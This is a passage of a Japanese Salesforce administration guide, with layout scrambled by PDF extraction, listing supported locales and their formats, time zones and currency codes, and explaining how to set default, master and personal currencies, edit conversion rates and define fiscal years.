LName

1.234,5606.0028.2.2008.
16.30

セルビア
ディナール:
CSD

sr_CSセルビア語
(セルビア・
モンテネグ
ロ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008.
16:30

U.S. Dollar:
USD

sh_BAセルビア・
クロアチア
語 (ボスニ City, State

ZipCodeア・ヘル
ツェゴヴィ
ナ)

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008.
16:30

U.S. Dollar:
USD

sh_MEセルビア・
クロアチア
語 (モンテネ
グロ)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008.
16:30

U.S. Dollar:
USD

sh_CSセルビア・
クロアチア
語 (セルビ City, State

ZipCodeア・モンテ
ネグロ)

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566:0028.2.2008
16:30

Euro: EURsk_SKSlovak
(Slovakia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028.2.2008
16:30

Euro: EURsl_SISlovenian
(Slovenia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 sn.28/02/2008
4:30 PM

ジブチフラ
ン: DJF

so_DJソマリ語 (ジ
ブチ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 sn.28/02/2008
4:30 PM

ソマリアシ
リング: SOS

so_SOソマリ語 (ソ
マリア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028/02/2008
16:30

Argentine
Peso: ARS

es_ARSpanish
(Argentina)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:00 AM28-02-2008
04:30 PM

Bolivian
Boliviano: BOB

es_BOSpanish
(Bolivia)

City, State
ZipCode
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:00 AM28-02-2008
04:30 PM

Chilean Peso:
CLP

es_CLSpanish (Chile)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:00 AM28/02/2008
04:30 PM

Colombian
Peso: COP

es_COSpanish
(Colombia)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM28/02/2008
04:30 PM

Costa Rica
Colon: CRC

es_CRSpanish (Costa
Rica)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028/02/2008
16:30

キューバペ
ソ: CUP

es_CUスペイン語
(キューバ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM28/02/2008
04:30 PM

ドミニカペ
ソ: DOP

es_DOSpanish
(Dominican
Republic)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:00 AM28/02/2008
04:30 PM

U.S. Dollar:
USD

es_ECSpanish
(Ecuador)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM02-28-2008
04:30 PM

エルサルバ
ドルコロン:
SVC

es_SVSpanish (El
Salvador)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM28/02/2008
04:30 PM

Guatemala
Quetzal: GTQ

es_GTSpanish
(Guatemala)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM02-28-2008
04:30 PM

Honduras
Lempira: HNL

es_HNSpanish
(Honduras)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM28/02/2008
04:30 PM

メキシコペ
ソ: MXN

es_MXSpanish
(Mexico)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM02-28-2008
04:30 PM

ニカラグア
コルドバ:
NIO

es_NIスペイン語
(ニカラグア)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM02/28/2008
04:30 PM

Panama
Balboa: PAB

es_PASpanish
(Panama)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:00 AM28/02/2008
04:30 PM

Paraguayan
Guarani: PYG

es_PYSpanish
(Paraguay)

City, State
ZipCode
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:00 AM28/02/2008
04:30 PM

Peruvian
Nuevo Sol: PEN

es_PESpanish (Peru)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:00 AM02-28-2008
04:30 PM

U.S. Dollar:
USD

es_PRSpanish
(Puerto Rico)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028/02/2008
16:30

Euro: EURes_ES_EUROスペイン語
(スペイン、
ユーロ) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,566:0028/02/2008
16:30

Euro: EURes_ESSpanish (Spain)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 a.m.2/28/2008 4:30
PM

U.S. Dollar:
USD

es_USスペイン語
(アメリカ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:00 AM28/02/2008
04:30 PM

Uruguayan
New Peso: UYU

es_UYSpanish
(Uruguay)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:00 AM28/02/2008
04:30 PM

Venezuelan
Bolivar Fuerte:
VEF

es_VESpanish
(Venezuela)
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,5606:002008-02-28
16:30

Swedish Krona:
SEK

sv_SESwedish
(Sweden)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

フィリピン
ペソ: PHP

tl_PHTagalog
(Philippines)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM2/28/2008 4:30
PM

タジクソモ
ニ: TJS

tg_TJTajik
(Tajikistan)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 am2-28-2008 4:30
PM

Indian Rupee:
INR

ta_INタミル語 (イ
ンド)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 am2-28-2008 4:30
PM

スリランカ
ルピー: LKR

ta_LKタミル語 (ス
リランカ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 น.28/2/2551, 16:30 น.Thai Baht: THBth_THThai (Thailand)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00        28/02/2008
4:30 PM

エチオピア
ビル: ETB

ti_ETティグリニ
ア語 (エチオ
ピア) City, State

ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1.234,5606:0028.02.2008
16:30

トルコリラ
(新): TRY

tr_TRTurkish
(Turkey)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1 234,566:0028.02.2008
16:30

Ukraine
Hryvnia: UAH

uk_UAUkrainian
(Ukraine)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 AM28/2/2008 4:30
PM

Pakistani
Rupee: PKR

ur_PKUrdu (Pakistan)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:002008-02-28
16:30

ウズベキス
タンスム:
UZS

uz_LATN_UZウズベク語
(LATN、UZ)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

LName FName1.234,5606:0016:30
28/02/2008

Vietnam Dong:
VND

vi_VNVietnamese
(Vietnam)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.5606:0028/02/2008
16:30

British Pound:
GBP

cy_GBWelsh (United
Kingdom)

City, State
ZipCode
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Country

Address Line 1,

Address Line 2

Ms. FName
LName

1,234.566:00 Àár  28/02/2008
4:30 PM

CFA フラン
(BCEAO): XOF

yo_BJヨルバ語 (ベ
ナン)

City, State
ZipCode

Country

関連トピック:

言語、ロケール、通貨の選択

サポートされているタイムゾーン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition、お
よび Developer Edition

ユーザ権限

組織情報を表示する
• 「設定・定義を参照す

る」

組織情報を変更する
• 「アプリケーションの

カスタマイズ」

使用可能な個人設定のオ
プションは、使用してい
る Salesforceのエディショ
ンによって異なります。

Salesforce でサポートされている、組織のタイムゾーンとコードのリストは、個
人設定にあります。
1. [個人設定] から、[クイック検索] ボックスに「タイムゾーン」と入力し、[言

語とタイムゾーン] を選択します。結果がない場合は、[クイック検索] ボッ
クスに「個人情報」と入力し、[個人情報]を選択します。その後、[編集]をク
リックします。

2. サポートされているタイムゾーンのリストを表示するには、[タイムゾーン]

ドロップダウンをクリックします。
Salesforce でサポートされているタイムゾーンとコードは次のとおりです (時間
順)。

タイムゾーン名タイムゾーンコード

ライン諸島時 (太平洋/キリティマティ)GMT+14:00

フェニックス諸島時 (太平洋/エンダベ
リー島)

GMT+13:00

トンガ時 (太平洋/トンガタプ)GMT+13:00

チャタム標準時 (太平洋/チャタム)GMT+12:45

ニュージーランド標準時 (太平洋/オー
クランド)

GMT+12:00

Fiji Time (Pacific/Fiji)GMT+12:00

Petropavlovsk-Kamchatski Time
(Asia/Kamchatka)

GMT+12:00

Norfolk Time (Pacific/Norfolk)GMT+11:30
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タイムゾーン名タイムゾーンコード

ロードハウ標準時 (オーストラリア/ロードハウ)GMT+11:00

ソロモン諸島時 (太平洋/ガダルカナル島)GMT+11:00

オーストラリア中部標準時 ((オーストラリア南部) オー
ストラリア/アデレード)

GMT+10:30

オーストラリア東部標準時 (ニューサウスウェールズ)

(オーストラリア/シドニー)

GMT+10:00

オーストラリア東部標準時 (クイーンズランド) (オー
ストラリア/ブリスベン)

GMT+10:00

オーストラリア中部標準時 (ノーザンテリトリー) (オー
ストラリア/ダーウィン)

GMT+09:30

Korea Standard Time (Asia/Seoul)GMT+09:00

日本標準時 (アジア/東京)GMT+09:00

香港時 (アジア/香港)GMT+08:00

マレーシア時 (アジア/クアラルンプール)GMT+08:00

Philippines Time (Asia/Manila)GMT+08:00

中国標準時 (アジア/上海)GMT+08:00

Singapore Time (Asia/Singapore)GMT+08:00

China Standard Time (Asia/Taipei)GMT+08:00

オーストラリア西部標準時 (オーストラリア/パース)GMT+08:00

インドシナ時間 (アジア/バンコク)GMT+07:00

インドシナ時 (アジア/ホーチミン)GMT+07:00

West Indonesia Time (Asia/Jakarta)GMT+07:00

ミャンマー時 (アジア/ラングーン)GMT+06:30

バングラデッシュ時 (アジア/ダッカ)GMT+06:00

ネパール時 (アジア/カトマンズ)GMT+05:45

インド標準時 (アジア/コロンボ)GMT+05:30

インド標準時 (アジア/コルカタ)GMT+05:30

パキスタン時 (アジア/カラチ)GMT+05:00

ウズベキスタン時 (アジア/タシケント)GMT+05:00

エカテリンブルク時 (アジア/エカテリンブルク)GMT+05:00
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タイムゾーン名タイムゾーンコード

アフガニスタン時 (アジア/カブール)GMT+04:30

アゼルバイジャン夏時間 (アジア/バクー)GMT+04:00

ガルフ標準時 (アジア/ドバイ)GMT+04:00

グルジア時 (アジア/トビリシ)GMT+04:00

アルメニア時 (アジア/エレバン)GMT+04:00

イラン夏時間 (アジア/テヘラン)GMT+03:30

東アフリカ時 (アフリカ/ナイロビ)GMT+03:00

Arabia Standard Time (Asia/Baghdad)GMT+03:00

Arabia Standard Time (Asia/Kuwait)GMT+03:00

Arabia Standard Time (Asia/Riyadh)GMT+03:00

モスクワ標準時 (ヨーロッパ/ミンスク)GMT+03:00

モスクワ標準時 (ヨーロッパ/モスクワ)GMT+03:00

東部ヨーロッパ夏時間 (アフリカ/カイロ)GMT+03:00

東ヨーロッパ夏時間 (アジア/ベイルート)GMT+03:00

イスラエル夏時間 (アジア/エルサレム)GMT+03:00

東部ヨーロッパ夏時間 (ヨーロッパ/アテネ)GMT+03:00

東部ヨーロッパ夏時間 (ヨーロッパ/ブカレスト)GMT+03:00

東部ヨーロッパ夏時間 (ヨーロッパ/ヘルシンキ)GMT+03:00

東部ヨーロッパ夏時間 (ヨーロッパ/イスタンブール)GMT+03:00

南アフリカ標準時 (アフリカ/ヨハネスブルク)GMT+02:00

中部ヨーロッパ夏時間 (ヨーロッパ/アムステルダム)GMT+02:00

中部ヨーロッパ夏時間 (ヨーロッパ/ベルリン)GMT+02:00

中部ヨーロッパ夏時間 (ヨーロッパ/ブリュッセル)GMT+02:00

中部ヨーロッパ夏時間 (ヨーロッパ/パリ)GMT+02:00

中部ヨーロッパ夏時間 (ヨーロッパ/プラハ)GMT+02:00

中部ヨーロッパ夏時間 (ヨーロッパ/ローマ)GMT+02:00

Western European Summer Time (Europe/Lisbon)GMT+01:00

中央ヨーロッパ時 (アフリカ/アルジェ)GMT+01:00

British Summer Time (Europe/London)GMT+01:00
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タイムゾーン名タイムゾーンコード

カーボベルデ時 (大西洋/カーボベルデ)GMT–01:00

西ヨーロッパ時 (アフリカ/カサブランカ)GMT+00:00

Irish Summer Time (Europe/Dublin)GMT+00:00

グリニッジ標準時 (GMT)GMT+00:00

東グリーンランド夏時間 (アメリカ/スコアズビー湾)GMT–00:00

アゾレス夏時間 (大西洋/アゾレス)GMT–00:00

South Georgia Standard Time (Atlantic/South_Georgia)GMT–02:00

Newfoundland Daylight Time (America/St_Johns)GMT–02:30

ブラジリア夏時間 (アメリカ/サンパウロ)GMT–03:00

アルゼンチン時 (アメリカ/アルゼンチン/ブエノスア
イレス)

GMT–03:00

チリ夏時間 (アメリカ/サンティアゴ)GMT–03:00

Atlantic Daylight Time (America/Halifax)GMT–03:00

大西洋標準時 (アメリカ/プエルトリコ)GMT–04:00

Atlantic Daylight Time (Atlantic/Bermuda)GMT–04:00

ベネズエラ時 (アメリカ/カラカス)GMT–04:30

東部夏時間 (アメリカ/インディアナ/インディアナポ
リス)

GMT–04:00

Eastern Daylight Time (America/New_York)GMT–04:00

コロンビア時 (アメリカ/ボゴタ)GMT–05:00

ペルー時 (アメリカ/リマ)GMT–05:00

東部標準時 (アメリカ/パナマ)GMT–05:00

中部夏時間 (アメリカ/メキシコシティ)GMT–05:00

Central Daylight Time (America/Chicago)GMT–05:00

中部標準時 (アメリカ/エルサルバドル)GMT–06:00

Mountain Daylight Time (America/Denver)GMT–06:00

山地標準時 (アメリカ/マサトラン)GMT–06:00

山岳部標準時 (アメリカ/フェニックス)GMT–07:00

Pacific Daylight Time (America/Los_Angeles)GMT–07:00

太平洋夏時間 (アメリカ/ティフアナ)GMT–07:00
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タイムゾーン名タイムゾーンコード

ピトケアン標準時 (太平洋/ピトケアン)GMT–08:00

Alaska Daylight Time (America/Anchorage)GMT–08:00

ガンビア時 (太平洋/ガンビア)GMT–09:00

ハワイ-アリューシャン標準時 (アメリカ/エイダック)GMT–9:00

マルケサス時 (太平洋/マルケサス)GMT–09:30

ハワイ-アリューシャン標準時 (太平洋/ホノルル)GMT–10:00

ニウエ時間 (太平洋/ニウエ)GMT–11:00

サモア標準時 (太平洋/パゴパゴ)GMT–11:00

関連トピック:

言語、ロケール、通貨の選択

個人設定の通貨または組織の通貨の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両
方。

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

単一通貨組織の場合、組織のデフォルト通貨を設定できます。マルチ通貨組織
の場合、デフォルト通貨はありません。代わりに、マスタ通貨または個人設定
の通貨を変更します。

通貨ロケールの設定
単一通貨組織の場合、デフォルト通貨を設定できます。
マスタ通貨の設定
マルチ通貨組織では、マスタ通貨を、本社が収益を報告するときに使用する
通貨に設定します。すべての換算レートは、マスタ通貨に基づいています。
個人設定の通貨の設定
マルチ通貨組織では、ユーザが組織のマスタ通貨とは異なる個人設定の通貨
を設定できます。

関連トピック:

言語、ロケール、通貨の選択
換算レートの編集
サポートされている通貨
サポートされているロケール
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通貨ロケールの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

単一通貨組織の場合、デフォルト通貨を設定できます。
1. [設定] で [組織情報] を検索します。
2. [組織情報] ページで、[編集] をクリックします。
3. [通貨] ドロップダウンリストからロケールを選択します。
4. [保存] をクリックします。
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マスタ通貨の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

マルチ通貨組織では、マスタ通貨を、本社が収益を報告するときに使用する通
貨に設定します。すべての換算レートは、マスタ通貨に基づいています。
サポートがマルチ通貨を有効にすると、マスタ通貨が [設定] の [組織情報] に指
定された値に設定されます。マスタ通貨は変更できます。
1. [設定] で [通貨の管理] を検索します。
2. [通貨] ページで、[マスタ通貨の設定] をクリックします。
3. [新しいマスタ通貨] ドロップダウンリストから通貨を選択します。
4. [保存] をクリックします。
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個人設定の通貨の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

組織情報を表示する
• 「設定・定義を参照す

る」

組織情報を変更する
• 「アプリケーションの

カスタマイズ」

使用可能な個人設定のオ
プションは、使用してい
る Salesforceのエディショ
ンによって異なります。

マルチ通貨組織では、ユーザが組織のマスタ通貨とは異なる個人設定の通貨を
設定できます。
1. [個人設定] から、[クイック検索] ボックスに「タイムゾーン」と入力し、[言

語とタイムゾーン] を選択します。結果がない場合は、[クイック検索] ボッ
クスに「個人情報」と入力し、[個人情報] を選択します。

2. [通貨] ドロップダウンリストから通貨を選択します。
3. 変更内容を保存します。
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換算レートの編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

通貨を表示する
• 「設定・定義を参照す

る」

通貨を変更する
• 「アプリケーションの

カスタマイズ」

換算レートを編集することによって、有効な通貨と無効な通貨およびマスタ通
貨の間の静的換算レートを管理できます。これらの換算レートは、ユーザの組
織で使用されるすべての通貨項目に適用されます。組織によっては、これらの
換算レートの他に、商談および商談商品用の期間指定換算レートが使用されて
いる場合があります。
1. [設定] で [通貨の管理] を検索します。
2. 高度な通貨管理を使用する場合は、[通貨の管理] をクリックします。
3. [有効な通貨] リストまたは [無効な通貨] リストで、[換算レートの編集] をク

リックします。
4. マスタ通貨と他の通貨の間の換算レートを入力します。
5. [保存] をクリックします。
換算レートを変更すると、通貨金額は新しいレートを使用して更新されます。
前の換算レートは保存されません。商談、売上予測、およびその他の金額の中
で行われる変換では、現在の換算レートが使用されます。
組織で高度な通貨管理を有効にしている場合は、商談および商談商品の通貨項
目の期間指定換算レートも管理できます。

メモ:

• 通貨の変動による収益の増減は把握できません。
• 換算レートを変更すると、積み上げ集計項目の一括再計算が実行されま

す。この再計算には、影響を受けるレコードの件数によって、最長 30

分かかります。
• API を使用して換算レートを変更することもできます。ただし、同じ通

貨項目で別の積み上げ集計の再計算が進行中の場合は、そのジョブの経
過時間がトリガした再計算ジョブに影響を与えます。API を使用して通
貨レートの変更を要求したときに関連ジョブが進行中の場合は、次のよ
うになります。
– 同じ通貨項目の別の再計算が 24 時間以内に開始された場合、通貨

レートの変更は保存されません。ジョブを後から再試行するか、[設
定] の [通貨の管理] から通貨レートを変更します。[設定] から変更を
開始すると、古いジョブが停止し、再計算の実行がトリガされます。

– 同じ通貨項目の別の再計算が 24 時間以上前に開始された場合、通貨
レートの変更を保存して、ジョブを開始できます。
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再計算ジョブの状況を確認するには、[設定] で [バックグラウンドジョブ] ページを表示します。

関連トピック:

個人設定の通貨または組織の通貨の設定
高度な通貨管理について
マルチ通貨の管理
通貨の有効化と無効化

サポートされている通貨

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition、お
よび Developer Edition

ユーザ権限

組織情報を表示する
• 「設定・定義を参照す

る」

組織情報を変更する
• 「アプリケーションの

カスタマイズ」

使用可能な個人設定のオ
プションは、使用してい
る Salesforceのエディショ
ンによって異なります。

Salesforce がサポートする通貨は次のとおりです。

通貨コード通貨名

AEDUAE Dirham

AFNアフガニスタンアフガニ (新)

ALLAlbanian Lek

AMDArmenian Dram

ANGNeth Antilles Guilder

AOAAngola Kwanza

ARSArgentine Peso

AUDAustralian Dollar

AWGAruba Florin

AZNアゼルバイジャン新マナット
BAMConvertible Marks

BBDBarbados Dollar

BDTBangladesh Taka

BGNBulgaria Lev

BHDBahraini Dinar

BIFBurundi Franc

BMDBermuda Dollar

BNDBrunei Dollar

BOBBolivian Boliviano

BOVBolivia Mvdol

BRBブラジルクルゼイロ (旧)
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通貨コード通貨名

BRLBrazilian Real

BSDBahamian Dollar

BTNBhutan Ngultrum

BWPBotswana Pula

BYRBelarussian Ruble

BZDBelize Dollar

CADCanadian Dollar

CDFFranc Congolais

CHFSwiss Franc

CLFUnidades de fomento

CLPChilean Peso

CNYChinese Yuan

COPColombian Peso

CRCCosta Rica Colon

CUPCuban Peso

CVECape Verde Escudo

CZKCzech Koruna

DJFDijibouti Franc

DKKDanish Krone

DOPDominican Peso

DZDAlgerian Dinar

EEKEstonian Kroon

EGPEgyptian Pound

ERNEritrea Nakfa

ETBEthiopian Birr

EUREuro

FJDFiji Dollar

FKPFalkland Islands Pound

GBPBritish Pound

GELGeorgia Lari
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通貨コード通貨名

GHSGhanian Cedi

GIPGibraltar Pound

GMDGambian Dalasi

GNFGuinea Franc

GTQGuatemala Quetzal

GYDGuyana Dollar

HKDHong Kong Dollar

HNLHonduras Lempira

HRKCroatian Kuna

HTGHaiti Gourde

HUFHungarian Forint

IDRIndonesian Rupiah

ILSIsraeli Shekel

INRIndian Rupee

IQDIraqi Dinar

IRRIranian Rial

ISKIceland Krona

JMDJamaican Dollar

JODJordanian Dinar

JPY日本円
KESKenyan Shilling

KGSKyrgyzstan Som

KHRCambodia Riel

KMFComoros Franc

KPWNorth Korean Won

KRWKorean Won

KWDKuwaiti Dinar

KYDCayman Islands Dollar

KZTKazakhstan Tenge

LAKLao Kip
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通貨コード通貨名

LBPLebanese Pound

LKRSri Lanka Rupee

LRDLiberian Dollar

LSLLesotho Loti

LYDLibyan Dinar

MADMoroccan Dirham

MDLMoldovan Leu

MGAMalagasy Ariary

MKDMacedonian Denar

MMKMyanmar Kyat

MNTMongolian Tugrik

MOPMacau Pataca

MROMauritania Ougulya

MURMauritius Rupee

MVRMaldives Rufiyaa

MWKMalawi Kwacha

MXNMexican Peso

MXVMexican Unidad de Inversion (UDI)

MYRMalaysian Ringgit

MZNモザンビークニューメティカル
NADNamibian Dollar

NGNNigerian Naira

NIONicaragua Cordoba

NOKNorwegian Krone

NPRNepalese Rupee

NZDNew Zealand Dollar

OMROmani Rial

PABPanama Balboa

PENPeruvian Nuevo Sol

PGKPapua New Guinea Kina
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通貨コード通貨名

PHPPhilippine Peso

PKRPakistani Rupee

PLNPolish Zloty

PYGParaguayan Guarani

QARQatar Rial

RONルーマニアレイ (新)

RSDSerbian Dinar

RUBRussian Rouble

RWFRwanda Franc

SARSaudi Arabian Riyal

SBDSolomon Islands Dollar

SCRSeychelles Rupee

SDGSudanese Pound

SEKSwedish Krona

SGDSingapore Dollar

SHPSt Helena Pound

SLLSierra Leone Leone

SOSSomali Shilling

SRDSurinam Dollar

SSP南スーダンポンド
STDSao Tome Dobra

SYPSyrian Pound

SZLSwaziland Lilageni

THBThai Baht

TJSタジクソモニ
TMTトルクメニスタン新マナット
TNDTunisian Dinar

TOPTonga Pa'anga

TRYトルコリラ (新)

TTDTrinidad&Tobago Dollar

362

言語、ロケール、通貨の選択Salesforce 組織の設定および管理



通貨コード通貨名

TWDTaiwan Dollar

TZSTanzanian Shilling

UAHUkraine Hryvnia

UGXUgandan Shilling

USDU.S. Dollar

UYUUruguayan New Peso

UZSUzbekistan Sum

VEFVenezuelan Bolivar Fuerte

VNDVietnam Dong

VUVVanuatu Vatu

WSTSamoa Tala

XAFCFA Franc (BEAC)

XCDEast Caribbean Dollar

XOFCFA Franc (BCEAO)

XPFPacific Franc

YERYemen Riyal

ZARSouth African Rand

ZMKザンビアクワッチャ (新)

ZWLZimbabwe Dollar

関連トピック:

個人設定の通貨または組織の通貨の設定
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会計年度の定義
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

会計年度を定義または編
集する
• 「アプリケーションの

カスタマイズ」

会計年度を表示する
• 「設定・定義を参照す

る」

ビジネスニーズに合わせて会計年度を指定します。
会計年度が通常のカレンダーに基づくが、1 月から始まらない場合は、標準会計
年度を定義して開始月を変更すれば、組織の会計年度を簡単に設定できます。
会計年度の構成が通常のカレンダーと異なる場合は、各自のニーズに応じたカ
スタム会計年度を定義できます。
標準会計年度を使用する場合もカスタム会計年度を使用する場合も、個別の会
計年度を 1 回定義します。会計年度を定義すると、レポート、商談、売上予測
など Salesforce 全体でその会計期間を使用できます。

ヒント: ベストプラクティスとして、カスタム会計年度が作成または変更
されるたびに商品スケジュールを更新します。

標準会計年度
標準会計年度は通常のカレンダーに基づき、開始日を任意の月の第 1 日に指定
できます。

カスタム会計年度
お客様独自の会計年度は、Salesforceのカスタム会計年度を使用して、会計年度、
四半期、週を柔軟に定義できます。たとえば、暦月でなく、4、4、5 週の 3 期間で構成される 13 週の四半期を
作成できます。
4-4-5 や 13 期間構成など一般的な会計年度構成を使用する場合は、開始日とテンプレートを指定して会計年度
を迅速に定義できます。テンプレートに必要とする会計年度構成がない場合は、ビジネスに適合するようテン
プレートを簡単に変更できます。たとえば、1 年を 4 分割 (四半期制) ではなく、3 分割 (三期制) する場合は、必
要に応じて四半期や期間を削除または変更します。
カスタム会計年度は、組織の標準に基づいて命名できます。たとえば、会計期間を「期間 2」または「2 月」
とすることができます。
会計年度は、定義を変更する必要があれば、いつでも変更できます。たとえば、うるう年の場合、カスタム会
計年度を標準カレンダーと同期させるために、特別に 1 週分追加できます。会計年度に対して行った変更は、
ただちに反映されます。売上予測を使用している場合は、会計年度の変更を保存したときにSalesforceによって
売上予測が再計算されます。

カスタム会計年度の有効化に関する考慮事項
カスタム会計年度を有効にする前に、次の重要な点を考慮してください。
• カスタム会計年度を有効にした後で無効にすることはできません。ただし、標準会計年度に戻す必要があ

る場合は、通常のカレンダーと同じ構成に基づくカスタム会計年度を、Salesforce の標準会計年度として定
義できます。

• 会計年度の定義は自動的に作成されません。ビジネスを行う年ごとにカスタム会計年度を定義します。
• カスタム会計年度を有効化または定義すると、売上予測、レポート、および目標に影響が出ます。
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カスタム会計年度を有効にした後で最初のカスタム会計年度を定義すると、その年度の最初の期間から
既存の売上予測、売上予測履歴、売上予測の調整がすべて削除されます。最初のカスタム会計年度より
前の期間の売上予測は削除されず、通常どおりアクセスできます。

–

– その後、新しいカスタム会計年度を定義すると、対応する標準会計年度の既存の売上予測、売上予測履
歴、売上予測の調整、目標が失われます。

– カスタマイザブル売上予測を使用している場合、最後に定義された会計年度より後の期間のレポート
は、日付によるグループ化のみが可能で、期間によるグループ化はできません。

– カスタマイザブル売上予測を使用している場合、レポートに最新データが記載されるように、売上予測
レポートを実行する前にレポートの対象期間の売上予測を表示して確認します。コラボレーション売上
予測を使用している場合は、レポートを実行する前に売上予測を表示する必要はありません。

• 商談、商品が関連する商談、またはスケジュールが関連する商談のレポートには会計期間の列を使用でき
ません。

• 商談リストビューには、会計期間の列はありません。
• カスタム会計年度を有効にした場合、SOQL の FISCAL_MONTH() 日付関数、FISCAL_QUARTER() 日付関

数、または FISCAL_YEAR() 日付関数は使用できません。

会計年度の設定
通常のカレンダー年度を採用している会社が、会計年度期首月を変更する場合は、標準会計年度を使用し
ます。会社が標準会計年度を採用していない場合は、より複雑な会計年度の構造を定義する、カスタム会
計年度を有効化できます。
会計年度の構成のカスタマイズ
カスタム会計年度に必要な構成がテンプレートで利用できる構成以外の場合は、カスタム会計年度の定義
の詳細を変更します。
会計年度の名称のカスタマイズ
会計年度の名称をカスタマイズする場合、命名方式と名称の選択、および会計年度選択リストのカスタマ
イズの 2 種類の方法があります。
カスタム会計年度テンプレートの選択
